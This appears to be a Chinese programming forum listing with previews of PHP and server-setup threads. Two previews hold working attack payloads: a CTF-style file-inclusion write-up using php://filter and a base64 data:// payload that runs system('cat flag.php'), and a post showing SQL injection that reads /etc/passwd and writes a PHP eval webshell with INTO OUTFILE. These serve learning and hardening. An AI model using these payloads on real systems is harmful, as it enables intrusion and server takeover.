各种编程技术
子版块
-
72文章73主题
-
22文章23主题
-
16文章17主题
-
23文章26主题
- String常用方法
-
由
侠客756,
-
17文章19主题
-
13文章18主题
1,773个主题在此版块
-
- 0 篇回复
- 100 次查看
如何做到 ueditor批量上传word图片? 1、前端引用代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type"content="text/html; charset=utf-8"/> <title>编辑器完整版实例-1.2.6.0</title> <script type="text/javascript"src="ueditor.config.js"charset="utf-8"></script> <script type="text/javascript"src="ueditor.all.js"charset="utf-8"></script> <link type="text/css"rel="Stylesheet"href="WordPaster/css/WordPaster.css"/> <link type="text/css"rel="Stylesheet"h…
HACK1949的最后回复, -
- 0 篇回复
- 119 次查看
参考 PHP伪协议总结 - SegmentFault 思否 WEB78 无防护读取源码 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 伪协议读取后base64解密 payload:?file=php://filter/convert.base64-encode/resource=flag.php web79 data协议 <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } 过滤了php,php到是可以用大写绕过,但是文件名flag.php中的php不能大小写,所以用cat这一类的函数,也可以直接base64绕过php ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php'); ils/1203619…
HACK1949的最后回复, -
- 0 篇回复
- 106 次查看
php5.6、自动附送php8。最后一步要下载一堆文件。等半天。 sudo apt install software-properties-common sudo LC_ALL=C.UTF-8 add-apt-repository ppa:ondrej/php apt update sudo apt install php5.6 php5.6-fpm php5.6-mysql php5.6-gd php5.6-mbstring php5.6-curl php5.6-soap php5.6-redis php5.6-xml php5.6-apcu php5.6-mcrypt -y
HACK1949的最后回复, -
- 0 篇回复
- 83 次查看
/** * 16进制转string拼接 * @param array $bytes [description] * @return [type] [description] * @author Lerko * @dateTime 2018-01-25T10:18:31+0800 */ public function encodeHexString(array $bytes) { $LOWER = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']; $length = count($bytes); $charArr = []; foreach ($bytes as $value) { $value = intval($value); $charArr[] = $LOWER[$this->uright(0xF0 & $value, 4)]; $charArr[] = $LOWER[0x0F & $value]; } return implode("", $charArr); } /*…
HACK1949的最后回复, -
- 0 篇回复
- 102 次查看
一.不要开启phpmyadmin 1.配置文件 /opt/lampp/etc/extra/httpd-xampp.conf 2.修改phpmyadmin目录名称为不容易猜测的 二.SQL注入-文件读写以及木马植入 1.读写权限确认 secure_file_priv = 空的时候,任意读写 secure_file_priv = 某个路径的时候,只能在那个路径下读写 secure_file_priv = NULL,不能读写 #利用SQL语句读取系统文件 -1 union select 1,2,3,load_file("/etc/passwd"),5 select load_file("/opt/lampp/htdocs/security/common.php") #利用SQL语句写入系统文件 select "hello world" into outfile "/opt/lampp/htdocs/security/muma.php" -1 union select 1,2,3,"<?php @eval($_GET['a']);?>",5 into outfile "/opt/lampp/htdocs/security/muma.php" #访问muma.php执行指令 muma.php?a=system("ifconfig"); 三.中国菜刀 1.提前上传了木马 2.请求必须为POST类型,参数自定义 3.传输过程为明文传输,目前已经被WAF给拦截…
HACK1949的最后回复, -
- 0 篇回复
- 114 次查看
python中实现 wsgi 的工具一般是 gunicorn 类似于php 中 处理 php 请求的php-fpm nginx <-> gunicorn <-> web_app(flask,django) 对比参考: https://www.yanxurui.cc/posts/server/2017-07-12-php-vs-python-in-deployment-and-performance/ wsgi 以及其他相关区别 https://blog.csdn.net/weixin_45455015/article/details/100113330
HACK1949的最后回复, -
- 0 篇回复
- 107 次查看
//id作为索引,pid 为父索引 function tree(&$list,$pid=0){ $tree=[]; foreach ($list as $key=>$item){ if ($item['pid']===$pid){ $tree[$item['id']]=$item; unset($list[key]); //删除当前项,减小递归压力 $tree[$item['id']]['children']=tree($list,$item['id']); //使用children 接收递归出的子数组 } } return $tree; }
HACK1949的最后回复, -
- 0 篇回复
- 98 次查看
如何做到 ueditor批量上传word图片? 1、前端引用代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type"content="text/html; charset=utf-8"/> <title>编辑器完整版实例-1.2.6.0</title> <script type="text/javascript"src="ueditor.config.js"charset="utf-8"></script> <script type="text/javascript"src="ueditor.all.js"charset="utf-8"></script> <link type="text/css"rel="Stylesheet"href="WordPaster/css/WordPaster.css"/> <link type="text/css"rel="Stylesheet"h…
HACK1949的最后回复, -
目录安装httpd安装mysql安装php 安装httpd 下载依赖包 [root@localhost yum.repos.d]# yum -y install openssl-devel pcre-devel expat-devel libtool gcc gcc-c++ Last metadata expiration check: 0:00:52 ago on Tue 02 Aug 2022 08:28:45 PM CST. Dependencies resolved. Package Arch Version Repo Size Installing: expat-devel x86_64 2.2.5-4.el8 base 55 k gcc x86_64 8.5.0-4.el8_5 AppStream 23 M gcc-c++ x86_64 8.5.0-4.el8_5 AppStream 12 M libtool x86_64 2.4.6-25.el8 AppStream 709 k openssl-devel x86_64 1:1.1.1…
HACK1949的最后回复, -
lamp 目录1. lamp简介2. web服务器工作流程2.1 cgi与fastcgi2.2 httpd与php结合的方式2.3 web工作流程3. lamp平台搭建3.1 安装httpd3.2 安装mysql3.3 安装php 1. lamp简介 有了前面学习的知识的铺垫,今天可以来学习下第一个常用的web架构了。 所谓lamp,其实就是由Linux+Apache+Mysql/MariaDB+Php/Perl/Python的一组动态网站或者服务器的开源软件,除Linux外其它各部件本身都是各自独立的程序,但是因为经常被放在一起使用,拥有了越来越高的兼容度,共同组成了一个强大的Web应用程序平台。 LAMP指的是Linux(操作系统)、Apache(HTTP服务器)、MySQL(也指MariaDB,数据库软件)和PHP(有时也是指Perl或Python)的第一个字母,一般用来建立web应用平台。 2. web服务器工作流程 在说lamp架构平台的搭建前,我们先来了解下什么是CGI,什么是FastCGI,什么是...... web服务器的资源分为两种,静态资源和动态资源 静态资源就是指静态内容,客户端从服务器获得的资源的表现形式与原文件相同。可以简单的理解为就是直接存储于文件系统中的资源 动态资源则通常是程序文件,需要在服务器执行之后,将执行的结果返回给客户端 那么web服务器如何执行程序并将结果返回给客户端呢?下面通过一张图来说明一下web服务器如何处理客户端的请求 阶段①显示的是httpd服务器(即apache)和…
HACK1949的最后回复, -
- 0 篇回复
- 117 次查看
官网: https://wppb.me/ Github: https://github.com/DevinVinson/WordPress-Plugin-Boilerplate Folder Subfolder / File Description 1. root algo-trade.php 加载插件 2. /includes class-algo-trade.php load_dependencies() 注册实体列表 class-algo-trade-activator.php 重写activator (Optional) class-algo-trade-deactivator.php 重写deactivator (Optional) class-algo-trade-i18n.php load_plugin_textdomain() 加载.mo file class-algo-trade-loader.php 注册器 (可忽略) 3. /admin /css /js /partials 不建议使用 class-algo-trade-admin.php enqueue_styles() 加载css enqueue_scripts() 加载js 4. /public /css /js /partials class-algo-trade-public.php 4. /languages .mo files 优点: /incl…
HACK1949的最后回复, -
- 0 篇回复
- 108 次查看
<p><iframe name="ifd" src="https://mnifdv.cn/resource/cnblogs/iot_terminal_management" frameborder="0" scrolling="auto" width="100%" height="1500"></iframe></p> <iframe frameborder="0" height="1500" name="ifd" scrolling="auto" src="https://mnifdv.cn/resource/cnblogs/iot_terminal_management" width="100%"></iframe> 安装VS运行库 1,可以自己下载,也可以直接使用我下载好的 https://docs.microsoft.com/zh-cn/cpp/windows/latest-supported-vc-redist?view=msvc-170 2,把安装包放到服务器电脑上,双击安装就可以 下载PHP文件 1,可以自己下载,也可以直接使用我下载好的 https://windows.php.net/download 3,把文件放到服务器上解压出来就可以 解压之后的样子 改一下名字,名字太长,太繁琐 …
HACK1949的最后回复, -
- 0 篇回复
- 109 次查看
转自: https://www.yisu.com/zixun/367919.html php中怎么使用fsockopen实现异步请求,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。 php执行一段程序,有可能几毫秒就执行完毕,也有可能耗时较长。 例如,用户下单这个事件,如果调用了些第三方服务进行发邮件、短信、推送等通知,可能导致前端一直在等待。 而有的时候,我们并不关心这些耗时脚本的返回结果,只要执行就行了。这时候就需要采用异步的方式执行。 众所周知,PHP没有直接支持多线程这种东西。我们可以采用折衷的方式实现。这里主要说的就是fsockopen。 通过fsockopen发送请求并忽略返回结果,程序可以马上返回。 示例代码: $fp = fsockopen("www.example.com", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET /backend.php HTTP/1.1\r\n"; $out .= "Host: www.example.com\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); /*忽略执行结果 while (!feof($fp)) { …
HACK1949的最后回复, -
- 0 篇回复
- 104 次查看
<p><iframe name="ifd" src="https://mnifdv.cn/resource/cnblogs/iot_terminal_management" frameborder="0" scrolling="auto" width="100%" height="1500"></iframe></p> <iframe frameborder="0" height="1500" name="ifd" scrolling="auto" src="https://mnifdv.cn/resource/cnblogs/iot_terminal_management" width="100%"></iframe> 说明 宝塔安装web服务器的时候已经自动配置了php 测试 1,在网站根目录建一个后缀名为.php的文件,里面的内容按照下面的填写 <?phpecho 1234;?> 在浏览器上测试下, ip地址填写自己的服务器地址 2,测试下http get 在网站根目录建一个后缀名为.php的文件,里面的内容按照下面的填写 <?php $username = $_GET['username'];//用户提交的用户名 $password = $_GET['password'];//用户提交的密码 echo "您提交的用户名:".$username. "…
HACK1949的最后回复, -
- 0 篇回复
- 85 次查看
PHP74 Remi软件源安装向导 Remi's RPM repository 官网 http://rpms.remirepo.net/ 国内清华镜像 https://mirrors.tuna.tsinghua.edu.cn/remi/ 仓库设置和php安装向导 https://rpms.remirepo.net/wizard/ 向导系统设置 设置方法 RHEL 7 provides PHP version 5.4 in its official repository Command to install the EPEL repository configuration package: yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm Command to install the Remi repository configuration package: yum install https://rpms.remirepo.net/enterprise/remi-release-7.rpm Command to install the yum-utils package (for the yum-config-manager command): yum install yum-utils On RHEL you (probably) need to enable the option…
HACK1949的最后回复, -
什么是二次开发 二次开发,简称二开,就是在现有的CMS框架上进行开发和修改、功能的扩展,然后达到自己想要的功能,一般来说都不会改变原有系统的内核。 为什么要二次开发? 现有功能无法满足你的需求时,需要自己写一些代码来实现功能。 二次开发的开发人员需要具备的基本条件 1. 具备基本的PHP知识(必备); 2. 具备HTML知识,了解css和js最佳(必备); 3. 具备SQL语句知识(必备); 4. 有PHP框架开发经验最好,CI框架、ZF框架、TP框架,Yii框架等(可选); 5. 有服务器配置相关技术的(可选)。 如果你不具备这些知识,请务必提前学习,否则用起来会比较吃力。 一、本地开发环境推荐 1、Xp.cn的phpstudy集成环境 2、BT 面板 二、开发编辑器推荐 1、Phpstrom 2、NotePad++ 3、SublimeText
HACK1949的最后回复, -
- 0 篇回复
- 93 次查看
php:对象的数组(2) 一、php源码 <?php class NUM { public $number=""; public $number_class=""; } class obj { public $v1 = ""; public $v2 = ""; } for($i=0; $i<10; $i++) { $cat[$i] = new obj; $nm[$i] = new NUM; $nu[$i] = new NUM; $nm[$i] -> number=$i; $nm[$i] -> number_class = "red"; $nu[$i] -> number=$i*2; $nu[$i] -> number_class = "green"; // 将“对象”赋予“成员变量” $cat[$i]->v1 = $nm[$i]; $cat[$i]->v2 = $nu[$i]; } foreach($cat as $ct) { echo "v1-number=" . $ct->v1->number ." v1-class=". $ct->v1->number_class . "\t"; echo "v2-number=" . $ct->v2->number ." v2-class=". $ct->v2…
HACK1949的最后回复, -
- 0 篇回复
- 90 次查看
近段时间手头有个PHP的源码,对它挺感兴趣所以就用Docker运行了PHP8的容器,代码运行起来之后发现数据库无法访问,根据报错信息看出是MySQL的扩展没启用,百度溜达了好久也没找到一个帖子讲明白如何启用扩展,自己摸索了半天终于搞明白,在这里分享给一下 安装扩展的教程在文档中有记录,根据文档描述镜像中已经内置了许多常用的扩展,只是没有安装,且文档中写出了操作扩展的命令 我下载的镜像是PHP8版本:docker pull php:8.0-fpm,容器起名为php8 进入到容器中,执行php -m命令,可以看到打印出mysqlnd,查看该扩展所在位置 [root@localhost webs]# docker exec -it php8 /bin/bash root@8e288e13b95c:/var/www/html# php -m root@8e288e13b95c:/var/www/html# find / -name mysqlnd 执行install命令安装mysqlnd,然后再次查看该扩展所在位置,会发现多了一个目录 root@8e288e13b95c:/var/www/html# docker-php-ext-install mysqlnd root@8e288e13b95c:/var/www/html# find / -name mysqlnd 移动到多出来的目录中,查看与MySQL相关的文件,会看到mysqli,这个才是真正要安装的扩展,执行安装 root@8e288e13b95c:/var/www/h…
HACK1949的最后回复, -
字符串操作 字符串查找 # 查找首次出现的位置,不区分大小写 stripos(string, needle [, offset]) echo stripos("xyC", "c"); //2 # 查找首次出现的位置,区分大小写 strpos(string, needle [, offset]) echo strpos("ABCabc", "c"); //5 # 查找最后一次出现的位置,不区分大小写 strripos(string, needle, [, offset]) echo strripos("ABCabcabcABC", "c"); //11 # 查找最后一次出现的位置,区分大小写 strrpos(string, needle, [, offset]) echo strrpos("ABCabcabcABC", "c"); //8 字符串截取 # 截取字符串 substr(string,start,length) echo substr("Hello world", 6); //world echo substr("Hello world", 6, 2); //wo # 截取中文字符串 mb_substr(string, start, length, encoding编码) echo mb_substr("你好啊", 0, 2, 'utf-8'); //你好 # 去除字符串两边的空格 trim(string, charlist删除那些字符) echo " Hello"; // Hello ech…
HACK1949的最后回复, -
文件目录操作 创建&关闭&删除 # 将文件读入一个字符串 file_get_contents() # 向文件中写入数据 fwrite()、file_put_contents() # 创建目录 mkdir() # 删除 unlink() # 删除目录 rmdir() 查&改 # 打开和关闭文件 fopen()、fclose() # 创建临时文件 tmpfile(),关闭临时文件fclose() # 读取文件内容 fread() # 从文件中读取一个字符 fgetc() # 逐行读取文件 gets()、fgetss() # 读取全部文件 readfile() # 把整个文件读入一个数组中 file() # 获取文件属性 ## 检查文件或目录是否存在file_exists() ## 获取文件大小 filesize() # 是否是目录 is_dir() # 打开目录 opendir(),关闭目录 closedir() # 读取目录下的文件及文件夹 readdir()、scandir() # 重命名文件 rename() # 复制文件 copy() 遍历文件夹下所有文件和文件夹 function my_scandir($dir) { $files = []; if($handle = opendir($dir)) { while(($file = readdir($handle)) !== false) { if($file != ".." &&…
HACK1949的最后回复,